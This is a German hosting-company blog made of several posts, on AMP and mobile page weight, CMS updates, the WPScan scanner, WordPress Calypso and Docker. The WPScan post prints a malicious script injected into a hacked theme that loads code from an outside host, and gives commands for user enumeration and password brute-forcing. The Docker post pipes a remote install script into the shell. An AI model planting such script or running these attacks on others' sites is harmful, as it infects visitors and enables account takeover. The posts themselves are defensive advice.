Kategorien
Allgemein Infrastruktur

Ein schnelles Web mit Instant Articles, der News App und Accelerated Mobile Pages?

Natürlich mag ich elegante Websites.
Natürlich betrachte ich gern gute Fotos und interessante Videos und lese gern gute Geschichten.
Ich mag auch elegante Autos, extravagante Kunst, Drei-Sterne Restaurants und sündhaft teure Modekreationen.

Den Grossteil meiner Zeit verbringe ich jedoch damit, mein Leben möglichst effektiv zu organisieren. Beim Online Einkauf mag ich einfache, logische Checkouts und verständliche Artikelbeschreibungen, Blogeinträge möchte ich einfach nur lesen und kein Brimborium drumherum haben. Wenn ich eine Website besuche, möchte ich meist ein Bedürfnis befriedigen oder ein Problem lösen, beispielsweise die Postadresse des Seitenbetreibers finden.

All das wird heutzutage unter dem Begriff User Experience subsumiert und diese Experience ist überlebenswichtig für Website Anbieter.

Was ich auf meinem Telefon nicht lesen kann, lese ich vermutlich nie.

Auch im Jahr 2016 ist schnelles mobiles Internet kein Standard. Ausser Chatten geht in vielen Gegenden Europas nichts, weil die Internet Verbindung einfach zu langsam ist. Ein Grund, warum Messaging Apps so beliebt sind.

Nun gibt es grundsätzlich immer zwei Möglichkeiten so ein Problem zu lösen.

  1. Schnelles Internet bereit stellen
  2. Die Informationen so aufbereiten, dass sie auch mit langsamer Internetverbindung aufrufbar sind.

Als Website Betreiber, der ich ja auch bin, kann ich den ersten Punkt nicht umsetzen, also bleibt mir nur die zweite Variante. Auch dort gibt es zwei Möglichkeiten:

  1. Eine „echte, aufwendige, bunte, schöne, durchgestylte“ Website und eine „abgespeckte“ mobile Variante
  2. Eine Website für alle, die sich an das Ausgabegerät anpasst (responsiv)

Die zweite Variante klingt auf jeden Fall zukunftssicherer bei der Vielfalt von mobilen Endgeräten die bereits existieren oder demnächst auf den Markt kommen. Content Management Systeme wie WordPress, Joomla und Drupal sind mittlerweile standardmässig responsiv. Unglücklicherweise steigt aber damit auch die Ladezeit einer Website, also die zu übermittelnde Datenmenge und die Anzahl der zu übertragenden Dateien an.
Beide Effekte verlangsamen den Transport und Aufbau eine Website auf einem Telefon ungemein.

Um diesen Tweet lesen zu können, werden im Browser 470,7 Kilobyte übertragen (470,700 Byte). Der relevante Text besteht bei einem Tweet aus maximal 140 Zeichen. Ein Zeichen könnte man in einem Byte darstellen, maximal in 2 Bytes. Es werden also etwa 1,650 oder 3,300 mal soviele Bytes übertragen um 140 Zeichen (in 1 oder 2 Bytes) darzustellen und das in 30 Dateien!

Datenmenge eines Tweets im Browser

Nun ist das kein spezifische Problem von Twitter sondern betrifft mehr oder weniger jede Website.

Ein paar Beispiele:

Selbst die Startseite unseres Blogs bringt es auf 247,800 Byte und 23 Dateien. Ich habe aber auch gelernt, dass wir damit im Vergleich zu anderen Websites recht niedrig liegen 🙂

Werbung

Ein immer grösser werdender Posten bei den Ladezeiten sind datenintensive Werbeformen und Tracking Scripte. Ein sehr eindruckvoller Vergleich der Ladezeiten von Werbe- und redaktionellen Inhalten hat die New York Times für die USA dargestellt (The Cost of Mobile Ads on 50 News Websites – New York Times).

The Cost of Mobile Ads on 50 News Websites - New York Times

Was tun?

Was kann der Einzelne jetzt tun, um Websites schlanker zu machen? Einen besonders konsequenten Schritt geht Felix von Leitner mit seinem Angebot Fefes Blog (Wikipedia). Er verzichtet auf alles unnötige, nutzt HTML und schafft es, alle Artikel für den Monat Februar in 19,300 Bytes darzustellen – in EINER Datei!
Auch die Ladezeit dürfte der Beliebheit seines Blogs sehr gut tun.

Fefes Blog

Jetzt kommst du und sagst:

Ja, ja, das ist Fefe mit seinem Textblog, aber ich brauche doch Photos und Videos und Slider und JavaScript Frameworks …

Was machen die Grossen?

Die Diskussion entging den „üblichen Verdächtigen“ natürlich nicht und so erfand Facebook das Produkt Instant Articles, Apple die App News und Google schliesslich Accelerated Mobile Pages.

Facebook Instant Articles

Instant Articles werden sehr schnell dargestellt, sollen Verlage zu Facebook locken und Besucher auf der eigenen Plattform halten. Die Werbeeinnahmen von Facebook werden im Verhältnis 30/70 geteilt, 70% gehen an den Content Lieferanten.

Apple News App

Apple News ist eine News App, die momentan in UK, USA und Australien angeboten wird und ähnlich wie Flipboard ein persönliches Nachrichten-Feed anbietet das schnell läd und schön aussieht.

Google Accelerated Mobile Pages

Und jetzt kommt Google und erfindet mit dem Open Source Projekt AMP das einfache Web mehr oder weniger neu.

Auf Github findet sich der Quellcode (https://github.com/ampproject) und damit möchte Google das Web „great again“ machen.

Um ein Facebook Instant Article Publisher zu werden, muss man sich bewerben.
Um in die Apple News App zu kommen, muss man sich ebenfalls bewerben.

Google dagegen kommt zu dir und sieht nach, ob du eine AMP Version deiner Website betreibst. Wenn ja, wirst du in den Suchergebnissen bevorzugt behandelt. Wenn nein … tja … dann eben nicht!

Ich will nun gar nicht über Themen wie Plattformen, Marktmacht, Verlage und Inhalte sprechen, ich finde die Angebote der grossen Drei durchaus interessant. Sie erfinden gerade etwas neu, was es eigentlich schon gibt – HTML!
Sie erfinden es aber so, dass meine Bedürfnisse von oben vermutlich perfekt erfüllt werden.

AMP und deine Website

Da Facebook Instant Articles und die Apple News App für einfache Website Betreiber zunächst noch eher uninteressant sind, will ich etwas genauer auf Googles AMP Projekt eingehen. Das AMP Prinzip entspicht der bereits oben aufgeführten Problemlösung: Eine „echte, aufwendige, bunte, schöne, durchgestylte“ Website und eine „abgespeckte“ mobile Variante“, wobei die AMP Version die mobile Variante ist. Die AMP Version deiner Seite wird dem Besucher allerdings nicht automatisch auf dem Mobilgerät angezeigt, sie wird „nur“ über sogenannte AMP consumers genutzt, beispielsweise Google Search.

  • WordPress:
    WordPress bietet ein offizielles AMP Plugin an. Es erzeugt dynamisch AMP-kompatible Versionen deiner Seiten, die über den Zusatz /amp/ am Ende des URL aufrufbar sind. Wenn du beispielsweise einen WordPress Artikel mit der dem URL http://example.com/2016/02/29/mein-artikel/ hast, dann wird die AMP Version über http://example.com/2016/02/29/mein-artikel/amp/ aufgerufen. AMP-Aufrufe von Seiten (Pages) werden momentan nicht unterstützt.
  • Joomla:
    Es lässt sich momentan (29.2.2016) nichts im Extension Directory finden, aber hinter den Kulissen schreiben viele Anbieter Plugins für AMP. Hier ein Beispiel: Weeblr – Accelerated Mobile Pages for Joomla
  • Drupal:
    Das Drupal Modul AMP ist für die Drupal 8 als Beta Version verfügbar. Damit es funktioniert, wird die PHP AMP Library benötigt und das AMP Basis Theme. Die Installation beschreibt der Artikel AMPing up Drupal sehr gut. Für Drupal 7 liegt das Modul leider noch nicht vor und so muss ich unser Blog entweder auf Drupal 8 updaten oder auf das entsprechende Modul für Drupal 7 warten.

Fazit

Ein deutliches hmmmm :).
Ich weiss noch nicht so recht, was ich davon halten soll. Grundsätzlich sind alle drei Ideen gut durchdacht. Sie dienen aber vermutlich hauptsächlich dazu, Besucher auf der jeweiligen Plattform zu halten, weil die dort angebotenen Inhalte so schön und schnell laden. Facebook und Google können dann prinzipiell mehr Werbung verkaufen, im Falle von Facebook werden die Erlöse mit dem Inhaltsanbieter geteilt.
Bei aller Schönheit und Schnelligkeit darf man nicht vergessen, dass HTML diese Funktionalität bereits heute sehr effizient bietet. Bei Websites wie Fefes Blog beispielsweise würde eine Technik wie AMP die Grösse nur unnötig aufblähen und die Ladezeiten vergrössern.


tl;dr: Das schnelle Web wird gerade jeweils von Facebook, Apple und Google neu erfunden.

Kategorien
Content Management Systeme Security

WPScan, WordPress und Du

Viele von euch haben ein paar WordPress Sites. WordPress ist so ein System, mit dem eigentlich jeder einmal etwas zu tun hat oder hatte, der eine eigene Website betreibt. Auch wenn es am Ende dann doch vielleicht Typo3, Drupal, Joomla, Grav oder ein ganz anderes System wird, WordPress probiert fast jeder mal aus und ist auch meist sofort begeistert.

Ich habe mir im Laufe der letzten Jahre ebenfalls so ein paar WordPress Sites „eingetreten/angelacht“. Das Blog vom Nachbarn, die Ferienhaus Site eines Bekannten, die WordPress Installation für dieses kleine Projekt, dass dann schnell mehrsprachig wird, viele Nutzer hat aber immer noch kein Budget und natürlich auch mein eigenes Blog. Ich vermute du kennst den Effekt. WordPress ist einfach zu installieren, schön anzusehen, schnell und gut bedienbar. Die Updates und Upgrades funktionieren problemlos und sogar automatisch, wenn man es entsprechend konfiguriert.

Vor ein paar Monaten hatte ich dann plötzlich eine veränderte Datei in einer meiner WordPress Installationen. Ich lasse alle Updates automatisch machen und wurde erst aufmerksam, als mich ein Bekannter darauf hinwies, dass sein Virenscanner anspringt, wenn er diese Website aufruft.

Ich fand tatsächlich diesen Quellcode in der header.php Datei des Templates

<script>var a=“; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = „http://hosting.e-sens.co.kr/js/jquery.min.php„; var n_url = base + „?default_keyword=“ + default_keyword + „&se_referrer=“ + se_referrer + „&source=“ + host; var f_url = base + „?c_utt=snt2014&c_utm=“ + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== “ && se_referrer !== null && se_referrer !== “){document.write(‚<script type=“text/javascript“ src=“‚ + f_url + ‚“>‘ + ‚<‚ + ‚/script>‘);}</script>

Beim Aufruf der Site wird von einer anderen Site etwas geladen. Der geladene Code macht dann böse Dinge auf dem Rechner des Besuchers. Exakt das fiese Szenario, das ich bereits im Updates und Upgrades bei WordPress, Joomla und Drupal – Artikel ansprach.

Das WordPress Projekt hat eine FAQ zum Thema: Help, I think I’ve been hacked, die jeder lesen sollte, der eine WordPress Site betreibt. So eine FAQ gibt es auch für Joomla, Drupal und Typo3 und ein Hack kann bei jedem System passieren.

Nochmal ganz deutlich:

Jede Software hat Schwachstellen und jede Software muss hin und wieder mit Sicherheitsaktualisierungen auf den neuesten Stand gebracht werden.

WordPress dient hier nur als Aufhänger, weil es mich gerade selbst erwischte. Mein „Fall“ endete übrigens mit einer kompletten Neuinstallation der Site.

Was ist WPScan?

WPScan ist ein Schwachstellen Scanner für WordPress. Das Programm ist in Ruby geschrieben und existiert seit fünf Jahren. WPScan ist Open Source Software und nutzt die Daten der gleichnamigen Datenbank (WPScan Vulnerability Database) um eine WordPress Installation zu scannen. Die Datenbank enthält Informationen über Schwachstellen des WordPress Core, von Plugins und Themes. Hier als Beispiel ein Screenshot mit einer Liste von Schwachstellen von Plugins, die mit dem Buchstaben I beginnen.

WordPress Plugin Vulnerabilities
WordPress Plugin Vulnerabilities
Du kannst dich über neue Schwachstellen per E-Mail benachrichtigen lassen.

WPScan nutzen

WPScan läuft überall, wo Ruby läuft, eine genaue Anleitung für dein Betriebssystem findest du auf der Projektseite http://wpscan.org/.

Bevor WPScan genutzt wird, sollte immer die Datenbank aktualisiert werden. Dazu mußt du im Terminal in das Verzeichnis wpscan gehen

cd wpscan

die aktuelle Version von Github laden und die Datenbank aktualisieren:

git pull
ruby wpscan.rb --update

Das Ergebnis sieht so aus:

_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

WordPress Website scannen

Jetzt kann es losgehen und ich kann meine WordPress Site mit dem folgenden Befehl scannen:

ruby wpscan.rb --url https://hagen.cocoate.com

Als ich das Programm zum ersten Mal ausführte, wurde mir schon etwas mulmig bei dem Gedanken, dass das jeder zu jeder Zeit machen kann und das zahlreiche Bots das auch pausenlos tun! Hier das Ergebnis:

_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: https://hagen.cocoate.com/
[+] Started: Fri Jan 29 19:35:15 2016

[+] robots.txt available under: 'https://hagen.cocoate.com/robots.txt'
[+] Interesting entry from robots.txt: https://hagen.cocoate.com/wp-admin/admin-ajax.php
[+] Interesting header: LINK: <https://hagen.cocoate.com/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.14
[!] Registration is enabled: https://hagen.cocoate.com/wp-login.php?action=register
[+] XML-RPC Interface available under: https://hagen.cocoate.com/xmlrpc.php

[+] WordPress version 4.4.1 identified from advanced fingerprinting

[+] WordPress theme in use: twentysixteen - v1.1

[+] Name: twentysixteen - v1.1
 |  Latest version: 1.1 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/themes/twentysixteen/
 |  Readme: https://hagen.cocoate.com/wp-content/themes/twentysixteen/readme.txt
 |  Style URL: https://hagen.cocoate.com/wp-content/themes/twentysixteen/style.css
 |  Theme Name: Twenty Sixteen
 |  Theme URI: https://wordpress.org/themes/twentysixteen/
 |  Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthe...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 4 plugins found:

[+] Name: category-rss-widget-menu - v1.0
 |  Latest version: v1.0 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/category-rss-widget-menu/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/category-rss-widget-menu/readme.txt

[+] Name: jetpack - v3.9.1
 |  Latest version: 3.9.1 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/jetpack/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/jetpack/readme.txt
 |  Changelog: https://hagen.cocoate.com/wp-content/plugins/jetpack/changelog.txt

[+] Name: page-views-count - v1.3.2
 |  Latest version: 1.3.2 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/page-views-count/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/page-views-count/readme.txt

[+] Name: simple-flickr-widget - v1.0.1
 |  Latest version: 1.0.1 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/simple-flickr-widget/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/simple-flickr-widget/readme.txt

[+] Finished: Fri Jan 29 19:35:31 2016
[+] Requests Done: 57
[+] Memory used: 127.07 MB
[+] Elapsed time: 00:00:16

Du siehst, die Zusammensetzung deiner Website ist ziemlich transparent auslesbar.

Schwachstellen finden

Wenn du nur an den verwundbaren Plugins (vulnerable plugins) interessiert bist, sieht der Aufruf so aus:

ruby wpscan.rb --url http://yourwebsite.com --enumerate vp

die verwundbaren Themes (vulnerable themes) findest du mit diesem Befehl:

ruby wpscan.rb --url http://yourwebsite.com --enumerate vt

Benutznamen finden

Das Script findet meistens auch Benutzernamen und stellt sie in einer Tabelle dar. Hierzu benötigt man diesen Befehl:

ruby wpscan.rb --url http://yourwebsite.com --enumerate u

Die Ausgabe sieht beispielsweise so aus:

[+] Identified the following 3 user/s:
    +----+-----------+--------------+
    | Id | Login     | Name         |
    +----+-----------+--------------+
    | 1  | admin     | Dr. Meier    |
    | 2  | old_john  | Old_John     |
    | 3  | oliver    | Oliver Meier |
    +----+-----------+--------------+
[!] Default first WordPress username 'admin' is still used

Spätestens an dieser Stelle solltest du dir Gedanken über die Tatsache machen, dass auch unfreundliche Menschen solche Scripte nutzen.

Der nächste Schritt eines Angreifers wäre die Nutzung einer Datei mit Passworten um sich auf deiner Site anzumelden.

Der passende Befehl ist

ruby wpscan.rb --url http://yourwebsite.com --wordlist passwords.txt threads 50

und Listen mit Passworten findet man leicht im Netz.

Fazit

Es ist relativ einfach, Informationen über deine Website zu erhalten. Solche Scripte gibt es für viele gängige Content Management Systeme und es ist nicht kaum möglich, die Zugriffe effektiv zu verhindern, weil die Daten deiner Website öffentlich im Netz stehen und der Source Code des Scripts änderbar ist. Denke einfach über regelmässige Updates und sichere Passworte nach.

Links


tl;dr: WPScan zeigt Informationen über deine WordPress Installation und regt zum Nachdenken an.

Kategorien
Content Management Systeme Security

Updates und Upgrades bei WordPress, Joomla und Drupal

Kurzer Blick in die harte Realität gefällig?

Joomla

Das Projekt Joomla hat in den letzten 10 Jahren vier grosse Versionslinien des Systems veröffentlich (2005: Version 1.0, 2008: Version 1.5, 2012: Version 2.5 und ebenfalls 2012 der Version 3.x). Nur die letzte Version (3.x) wird noch supported, also mit Sicherheitsupdates versehen. Innerhalb des 3er Zweigs werden aber nicht alle Versionen supported, sondern nur die Versionen 3.4.x und grösser. Die Version 3.4.0 wurde im Februar 2015 veröffentlicht.
Heute sind wir bei Version 3.4.8, der achten Version innerhalb eines Jahres.

WordPress

WordPress hat ebenfalls vier grosse Versionen (2004: Version 1.0, 2005: Version 2.0, 2010: Version 3 und 2014 die Verson 4.0). Nur die letzte Version (4.x) wird supported. Innerhalb des 4er Zweigs werden aber nicht alle Versionen supported, sondern nur die Versionen 4.4.x und grösser. Die Version 4.4.0 wurde im Dezember 2015 veröffentlicht.
Heute sind wir bei Version 4.4.1, der ersten Version ein paar Tage nach Release des Major Updates.

Drupal

Drupal hat bereits 8 grosse Versionen veröffentlicht (2001: Version 1.0, 2.0 und 3.0, 2002: Version 4.0, 2007: Version 5.0, 2008: Version 6.0, 2011: Version 7.0, 2015: Version 8.0).
Die letzte Version 7.x und die aktuelle Version 8.x werden supported, also mit Sicherheitsupdates versehen.
Der Support für Drupal 6 läuft in ein paar Wochen aus.

Was ist der Unterschied zwischen Update und Upgrade

Als Update wird meist eine Version bezeichnet, die sicherheitsrelevante Änderungen enthält und je nach Philosophie des Projektes, auch Wartungsänderungen und neue Features. Die Updatezyklen werden kürzer, die Updates selbst aber einfacher.

Unter Upgrade versteht man einen Major Versionssprung, der oft mit Inkompatibilitäten daherkommt und daher im professionellen Umfeld Geld kostet. Die Bereitschaft für solche Upgrades ist bei vielen Firmen oft gering.

Major-Upgrades fallen alle paar Jahre an.

Was kann schon passieren?

Jede Website wird mehrmals täglich von automatisierten Programmen aufgerufen. Das können „gute“ und natürlich auch „schlechte“ Programme sein. Die Unterscheidung ist nicht leicht. Wenn wir die grossen Suchmaschinenspider mal zu den „Guten“ zählen, dann sind die „Bösen“ solche Programme, die mit einem fiesen Ziel das Netz scannen.

Ein typisches Ziel wäre: das Content Management System X in der Version Y, die eine Sicherheitslücke enthält.

Also nicht nur Joomla, WordPress und Drupal sind betroffen, sondern natürlich auch Typo3 und all die anderen.
Ist eine bestimmte Version eines CMS anfällig für eine „Verletzung“, so wird es verletzt werden!
Die Frage ist nicht, ob es passiert, sondern einzig und allein wann es passiert!

Sicherheitslücken werden heute bereits Stunden nach Erscheinen eines Updates aktiv gescannt und ausgenutzt. Das bedeutet, du hast wenig, bzw. keine Zeit ein Update zu testen. Soll ich schnell updaten und eine Fehlfunktion der Seite riskieren oder abwarten und „verletzbar“ sein? Es gibt keine pauschale Antwort für dieses Dilemma, sondern du mußt das Risiko für dich abwägen.

Man geht davon aus, dass weit mehr als die Hälfte aller installierten Content-Management-Systeme nicht auf dem neuesten Stand sind!

Ich bin bei einem sicheren Hoster, der regelt das für mich

Jein 🙂

Zunächst mal das Ja: Wir beobachten die Situation natürlich auch und schauen nach verletzlichen Skripten.
Wir können auch allgemeine Massnahmen vornehmen, die bestimmte Filter setzen und die gröbsten Schäden verhindern. Wir nutzen beispielsweise Web Application Firewalls, Botnet Protection Tools, ModSecurity Rules, Greylists von negativ aufgefallenen IP-Adressen und weitere „Helferlein“.

Angriffsversuche
Angriffsversuche

Wir spielen auch im Web Hosting Bereich automatisch dringende Security Updates ein, die du dann in deinem cPanel verfolgen kannst (Patchman). In diesem Bereich kannst du auch selbst deine Website scannen. Das System ist auch auf dedizierten Servern auf Anfrage nutzbar (kostenpflichtig).

Patchman
Patchman

Dein Hosting ist also zunächst einmal in sicheren Händen bei uns!

Aber: Es gibt auch ein grosses Nein, weil es mittlerweile „Angriffsformen“ gibt, die nicht allgemein verhinderbar sind, beispielsweise drive-by-downloads.

Website Updates und Upgrades haben einem Zusammenhang mit Geschäftserfolg und Reputation!

Stell‘ dir vor, auf deiner Website wird eine JavaScript Datei von einem anderen Server geladen. Das ist oftmals völlig normal und gewünscht, um eine bestimmte Funktionaltiät anzubieten (z.B. Slideshow, JS-Framework). Ein Link auf eine „böse“ JavaScript Datei kann deine Website aber auch als „Wirt“ benutzen um etwas über die Browser deiner Besucher zu verbreiten. Das heisst, der Besucher deiner Website lädt die JavaScript Datei von einem anderen Server (nichts ahnend) auf seinem Computer, Tablet oder Telefon.
Je nach Software Versionen auf den Endgeräten kann es dann zu mehr oder weniger grossen Problemen bei den Besuchern deiner Website kommen.
Krasses Beispiel gefällig? Mit dem Angler Expoit Kit kann Ransomware, also Erpressungs-Software, installiert werden, die Dateien auf dem Zielsystem verschlüsselt. Wer (als Besucher deiner Website) seine eigenen Daten zurück haben möchte, muss zahlen.
Jede Website dieser Welt kann theoretisch so etwas enthalten (Beispiel), auch deine Website!
Es ist dein Geschäft und deine Reputation, die im Fall des Falles dabei zumindest nicht profitieren.

Was kann ich tun?

Jedes Content-Management-System ist in seiner aktuellen Version sicher, alle älteren Versionen sind unsicher, ALLE!

Welche Version nutze ich?

Jedes System zeigt seine Version irgendwo an.

In Joomla steht die Versionsnummer auf jeder Seite im Administrationbereich in der Fusszeile.

Joomla - Version
Joomla – Version

In WordPress wird die aktuelle Version hinter dem Link Updates angezeigt (/wp-admin/update-core.php). WordPress verweist dabei seit längerer Zeit bereits auf die „latest version“, also die letzte Version.

WordPress - Version
WordPress – Version

In Drupal findet man die Version im Statusbericht, Menu Berichte -> Statusbericht (/admin/reports/status).

Drupal - Version
Drupal – Version

Alle Projekte verfügen über Benachrichtigungsmechanismen innerhalb der installierten Systeme, beispielsweise eine E-Mail an den Administrator, wenn ein Update verfügbar ist. Ausserdem bieten sie unterschiedliche Mechanismen auf den entsprechenden Projekt Websites (Announcements, Mailing Listen, RSS-Feeds, E-Mail Benachrichtigungen, Twitter, u.v.a.m) an die du in deinem eigenen Interesse nutzen solltest!

Links:


tl;dr: Website Updates und Upgrades stehen in Zusammenhang mit deiner Reputation und deinem Geschäftserfolg.

Kategorien
Content Management Systeme

Die Vernetzer: WordPress Calypso & Jetpack

In der letzten Woche haben wir gesehen, dass Drupal 8 jetzt mit Webservice Modulen ausgeliefert wird. Diese Services erlauben es externen Clients und mobilen Apps auf die Datenbasis eines Systems wie Drupal zuzugreifen. Natürlich ist das auch für andere Content Management Systeme ein grosses Thema und WordPress baut diese Funktionalität seit einigen Versionen Stück für Stück aus. Mit der Version WordPress 4.5 soll dann der Prozess dann abgeschlossen und eine vollständige REST-API für Webservices implementiert sein. In der Theorie sind die Paradigmen für solche verteilte Systeme seit etwa 15 Jahren bekannt, in der Realität sind funktionsfähige, produktiv eingesetzte Systeme, die auf Webservices basieren, nicht ganz so häufig anzutreffen.

One of the hardest things to do in technology is disrupt yourself.

Wenn man sich beruflich mit Websites befasst, so stellt man fest, dass auch immer mal wieder eine WordPress Site zum Portfolio hinzukommt. Ähnlich verhält es sich im privaten Umfeld. Der Schlüssel zum Erfolg: WordPress ist einfach zu installieren und zu bedienen und läuft fast überall in angemessener Geschwindigkeit.

Am 23. November 2015 veröffentlichte Matt Mullenweg in seinem Blog den Artikel Dance to Calypso. Darin stellt er die Frage

What would we build if we were starting from scratch today, knowing all we’ve learned over the past 13 years of building WordPress?

und stellt danach das Projekt Calypso vor. Calypso ist eine interessante Mischung aus Administrationsbereich, Newsreader und Social Timeline. Calypso ist Open Source Software und vollständig in JavaScript, mit der Hilfe von Bibliotheken wie Node und React, geschrieben. Es wird jetzt auf WordPress.com als Administrationsoberfläche im Browser genutzt und es gibt eine App für Mac OSX Rechner.

Mit Calypso können selbst gehostete WordPress Installationen (wie beispielsweise hier bei Novatrend) und Blogs, die auf WordPress.com laufen, administriert werden.

Hier eine Auswahl der WordPress Sites, mit denen ich das Programm in der Mac OSX App ausprobiert habe:

Calypso - Seitenübersicht
Calypso – Seitenübersicht
Ausserdem enthält Calypso einen Reader Bereich. Dort kann man WordPress Blogs oder einzelnen Tags folgen. Calypso zeigt die letzten Posts an.
Calypso - Reader
Calypso – Reader
Der dritte grosse Bereich umfasst Benachrichtigungen, Kommentare, Follower und Likes aus eigenen und abonnierten WordPress Blog.

Calypso - Benachrichtigungen
Calypso – Benachrichtigungen

Wie funktioniert das?

Um Calypso nutzen zu können, benötigen Sie ein WordPress.com Benutzerkonto. Nach der Anmeldung in Calypso sind alls auf WordPress.com betriebenen Seiten automatisch ansprechbar. Selbst gehostete WordPress Installationen können hinzugefügt und verwaltet werden, wenn Sie das WordPress Jetpack Plugin installieren.

Jetpack

Das Jetpack Plugin enthält mittlerweile 36 einzeln aktivierbare Plugins, die eine selbstgehostete Seite mit zusätzlicher Funktionalität versehen, um das mal vorsichtig auszudrücken. Die Installation ist einfach und ein sinnvolle Vorauswahl ist bereits aktiviert und konfiguriert.

WordPress - Jetpack
WordPress – Jetpack

Es ist schwer, den Funktionsumfang der im Jetpack enthaltenen Plugins im Rahmen eines einzigen Blogeintrages zu beschreiben. Hier ein Versuch aus dem letzten Jahr von Andreas Hecht – Fluch oder Segen? Das Plugin Jetpack für WordPress. Kurz gesagt enthält es viele nützliche Dinge, die man sich nach und nach erschließen kann.

Während der Installation des Jetpack Plugins wird die selbstgehostete WordPress Site mit Ihren WordPress.com Konto verknüpft.

Calypso greift per WordPress.com REST-API auf die Daten zu und fasst sie elegant zusammen.

Fazit

Was mir sehr gefällt an Calypso ist die offene Art der Verknüpfung. War es bisher schwer bis unmöglich, seine Daten selbst zu hosten und dennoch an sozialen Interaktionen beispielsweise auf WordPress.com teilzunehmen, so ist das mit Calypso kein Problem mehr. Auch wenn momentan „nur“ die WordPress.com API unterstützt wird, sieht man doch, was möglich sein wird, wenn mehr Open Source Content Management Systeme offene Schnittstellen zu Ihren Daten anbieten.

WordPress 4.5 und Joomla 3.6 werden diese Art Schnittstellen demnächst anbieten, in Drupal 8 sind Sie bereits integriert. Sie bilden damit eine Basis für eine neue Art von Applikationen, die wie proprietäre Netzwerke einen Newsfeed und soziale Kontakte bereitstellen, im Gegensatz zu Facebook und Google+ aber offen miteinander verknüpft sind.

Die Anbieter der Inhalte können frei entscheiden, wo Sie Ihre Daten speichern und wem sie sie zur Verfügung stellen.

Links:


tl;dr: Calypso bringt WordPress Websites, deren Betreiber und Leser, zusammen.

Kategorien
Cloud Server

Testumgebungen mit Docker

Wenn Sie einen eigenen Root-Server nutzen, haben Sie oft das Problem, dass die Installation verschiedener Programmpakete wirklich komplex werden kann. Stellen Sie sich vor, sie benötigen „mal eben“ 15 WordPress Instanzen für eine Schulung oder wollen ein Programm ausprobieren, das nicht so wirklich zu Ihrem LAMP Stack passt wie beispielsweise die Blogsoftware Ghost oder das Diskussionsforum Discourse.

Docker bietet dafür eine Lösung.

Sie installieren die Docker Software auf Ihrem Betriebssystem und können dann sogenannte Images vom Docker Hub herunterladen.

Diese Images sind in etwa mit Legosteinen vergleichbar. Für die 15 WordPress Installationen benötigen Sie beispielsweise das WordPress und das MySQL Image. Danach können Sie beliebig viele MySQL und WordPress Container auf verschiedenen Ports starten. Variablenwerte wie MySQL Passworte werden beim Containeraufruf mitgegeben, so dass die beiden Images gut zusammenspielen können.

Die Container und die darin enthaltenen Daten können verwaltet werden. In unserem einfachen Fall können Sie beispielsweise nach Kursende gelöscht werden.

Docker ist natürlich viel mehr und erheblich komplexer, als ich das eben dargestellt habe, nichtsdestotrotz ist die Kernidee hinter Docker Installations- und Verteilungsprozesse zu vereinfachen. Es gibt Docker für Ubuntu, Mac OS X, Microsoft Windows, Amazon EC2, Arch Linux, CentOS, CRUX Linux, Debian, Fedora, FrugalWare, Google Cloud Platform, Gentoo, IBM Softlayer, Joyent Compute Service, Microsoft Azure, Rackspace Cloud, Red Hat Enterprise Linux, Oracle Linux und SUSE, und das ganze Projekt ist natürlich ein Startup und es geht um viel Geld und überhaupt …

Schauen Sie sich die beiden Videos und diese Link-Übersicht an, wenn Sie sich für die ganze Story interessieren.

Hier klicken, um den Inhalt von www.youtube-nocookie.com anzuzeigen

Hier klicken, um den Inhalt von www.youtube-nocookie.com anzuzeigen

Installation

Zunächst muss die Docker Software auf unserem Testserver installiert werden. Wir benutzen Ubuntu 14.04 LTS und aktualisieren zunächst mal.

sudo apt-get update
sudo apt-get upgrade

Docker orientiert sich am Kernel. Die Version Ihres Kernel erfahren Sie über den Befehl

$ uname -r
3.13.0-49-generic

Um Docker zu installieren, benötigen Sie nur einen Befehl (und natürlich das Paket wget -> apt-get install wget)

wget -qO- https://get.docker.com/ | sh

Sie werden nach dem Root Passwort gefragt und Docker wird installiert. Damit alles funktioniert, müssen Sie sich einmal ab- und wieder anmelden. Testen Sie dann, ob Docker korrekt installiert ist mit dem Befehl docker run hello-world. Der run Befehl versucht einen Container aus einem lokalen Image zu starten. Findet er kein Image, versucht er das entsprechende Image herunterzuladen, so wie hier in meinem Fall.

$ sudo docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from hello-world
a8219747be10: Pull complete
91c95931e552: Already exists
hello-world:latest: The image you are pulling has been verified. Important: image verification is a tech preview feature and should not be relied on to provide security.
Digest: sha256:aa03e5d0d5553b4c3473e89c8619cf79df368babd18681cf5daeb82aab55838d
Status: Downloaded newer image for hello-world:latest
